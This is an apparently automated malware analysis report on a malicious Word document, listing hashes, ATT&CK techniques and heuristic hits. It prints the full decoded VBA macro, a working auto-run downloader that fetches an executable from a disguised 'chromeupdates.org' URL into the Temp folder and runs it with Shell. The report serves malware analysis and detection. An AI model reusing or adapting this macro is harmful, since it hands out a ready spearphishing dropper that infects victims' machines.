Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9b910d3592845f3…

MALICIOUS

Office (OLE)

38.5 KB Created: 2014-09-04 00:53:00 Authoring application: Microsoft Office Word First seen: 2014-11-01
MD5: 8252d6d9458d4b5a8c5a14eb0b64b619 SHA-1: ca93eef5db1130a7d3fec669a1ddb56950004137 SHA-256: e9b910d3592845f34d989eb5e6aab78fcb1f040359b1d1e29731d2449812157c
374 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Word document that attempts to lure the user into enabling macros. Once enabled, the embedded VBA macro, specifically the Workbook_Open event, calls the URLDownloadToFile API to download a second-stage executable from 'http://chromeupdates.org/netfusion/tripleconnection.exe'. This executable is then likely executed, indicating a downloader or droppper functionality.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Hello = Shell(LocalFileName, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            LocalFileName = Environ("Temp") & "\bin.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://chromeupdates.org/netfusion/tripleconnection.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3216 bytes
SHA-256: faaa776e6f70aef2bdc153f16348178541508a94ce127aafed14d45453736ece
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text



Public Enum DownloadFileDisposition
    OverwriteKill = 0
    OverwriteRecycle = 1
    DoNotOverwrite = 2
    PromptUser = 3
End Enum


'''''''''''''''''''''''''''
' Download API function.
''''''''''''''''''''''''''''''''''''''
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
                        "URLDownloadToFileA" ( _
                            ByVal pCaller As Long, _
                            ByVal szURL As String, _
                            ByVal szFileName As String, _
                            ByVal dwReserved As Long, _
                            ByVal lpfnCB As Long) As Long

Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias _
    "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' DownloadFile
' This downloads a file from a URL to a local filename.
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function DownloadFile(UrlFileName As String, _
                            DestinationFileName As String, _
                            Overwrite As DownloadFileDisposition, _
                            ErrorText As String) As Boolean

Dim Disp As DownloadFileDisposition
Dim Res As VbMsgBoxResult
Dim B As Boolean
Dim S As String
Dim L As Long

ErrorText = vbNullString

If Dir(DestinationFileName, vbNormal) <> vbNullString Then
  
            On Error Resume Next
            Err.Clear
            Kill DestinationFileName
            If Err.Number <> 0 Then
                ErrorText = "Error Kill'ing file '" & DestinationFileName & "'." & vbCrLf & Err.Description
                DownloadFile = False
                Exit Function
            End If
    
     End If
L = DeleteUrlCacheEntry(UrlFileName)
L = URLDownloadToFile(0&, UrlFileName, DestinationFileName, 0&, 0&)
If L = 0 Then
    DownloadFile = True
Else
    ErrorText = "Buffer length invalid or not enough memory."
    DownloadFile = False
End If
    
End Function

Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

Sub Auto_Open()
                      
 Dim URL As String
       Dim LocalFileName As String
        Dim B As Boolean
        Dim ErrorText As String

        URL = "http://chromeupdates.org/netfusion/tripleconnection.exe"
        LocalFileName = Environ("Temp") & "\bin.exe"
        B = DownloadFile(UrlFileName:=URL, _
                        DestinationFileName:=LocalFileName, _
                        Overwrite:=0, _
                        ErrorText:=ErrorText)
                        Dim Hello
    Hello = Shell(LocalFileName, 1)
End Sub

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